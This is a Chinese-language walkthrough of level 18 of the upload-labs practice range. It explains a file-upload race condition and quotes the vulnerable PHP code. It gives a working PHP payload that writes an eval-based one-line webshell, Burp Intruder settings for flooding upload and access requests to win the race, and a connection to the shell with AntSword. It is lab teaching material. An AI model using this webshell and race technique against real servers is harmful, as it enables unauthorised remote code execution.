upload-labs靶场-第十八关 条件竞争 上传校验 – 作者:知非知非知非

先上传一张冰冰的靓照!!!

1627087924_60fb6434ea37a2c7edf8f.png!small

URL地址:http://localhost/upload-labs/upload/1320210721111205.jpg

查看提示:

1627087930_60fb643acc215f9b844ce.png!small

这个我并不擅长!!!!

查看源代码!!!!

$is_upload = false; $msg = null; if(isset($_POST[‘submit’])){    $ext_arr = array(‘jpg’,’png’,’gif’);    $file_name = $_FILES[‘upload_file’][‘name’];    $temp_file = $_FILES[‘upload_file’][‘tmp_name’];    $file_ext = substr($file_name,strrpos($file_name,”.”)+1);    $upload_file = UPLOAD_PATH . ‘/’ . $file_name;    if(move_uploaded_file($temp_file, $upload_file)){        if(in_array($file_ext,$ext_arr)){             $img_path = UPLOAD_PATH . ‘/’. rand(10, 99).date(“YmdHis”).”.”.$file_ext;             rename($upload_file, $img_path);             $is_upload = true;        }else{            $msg = “只允许上传.jpg|.png|.gif类型文件!”;            unlink($upload_file);        }    }else{        $msg = ‘上传出错!’;    } }

看了大佬的WP,我发现我做过这题!!!

这是一个条件竞争:

if(move_uploaded_file($temp_file, $upload_file))

unlink($upload_file);

代码执行逻辑:先移动,后检测,不符合再删除,符合则改名字。

分析:可以用 burp 一直发包,让 php 程序一直处于移动 php 文件到 upload目录。这个阶段

我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。

我们制作一个特殊的php文件:pass18.php

<?PHP echo md5(1);fputs(fopen(‘shell.php’,’w’),'<?php @eval($_POST[cmd])?>’);?>

这个文件会在上传目录里上传一个shell.php的文件,文件内容为一句话木马,应用条件竞争来批量提交它,然后我们在在服务器没删除他之前访问到,就会执行语句,写入一句话木马写到同级目录下的shell.php里。

这题的BURP里需要设置的内容,还挺多!!!

首先上传pass18.php文件,然后BURP截断,发送到INTRUDER模块!!!

1627087944_60fb64483f063a536d9f9.png!small

把所有变量清除!!!

在BURP INTRUDER PAYLOADS模块中!PAYLOAD TYPE中设置为NO PAYLOADS,这样可以实现重复发送同一个包!!!

下方PAYLOAD选项中,设置为100000。

1627087951_60fb644f5f58fcedd1b55.png!small

然后,请求的线程数修改为100

1627087957_60fb64555fc56c96f804d.png!small

然后我们在设置访问需要上传的文件,即不断访问且快速的访问上传的文件pass18.php,使其包含的文件创建和写入代码生效,生成shell.php文件。

即这个链接;

localhost/upload-labs/upload/pass18.php

我们先访问这个链接,并使用BURP截断,并传入INTRUDER模块!!!

这里针对这个报文的设置方法与上文的方法一致。

然后,两个报文同时开启开始攻击功能。

可见,访问上传链接,部分回显是200,证明已上传成功!!!

1627087968_60fb6460c9aa695a327dc.png!small

我们查看对应的目录!!!已成功上传!!!

1627087976_60fb6468dec170c6b918f.png!small

文件内容为标准写入的一句话马

1627087982_60fb646e2ead5117ff117.png!small

可以采用蚁剑进行正常链接!!!!

1627087987_60fb647304994395efb64.png!small

1627087991_60fb6477abe7190012b11.png!small

来源:freebuf.com 2021-07-24 08:54:14 by: 知非知非知非

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论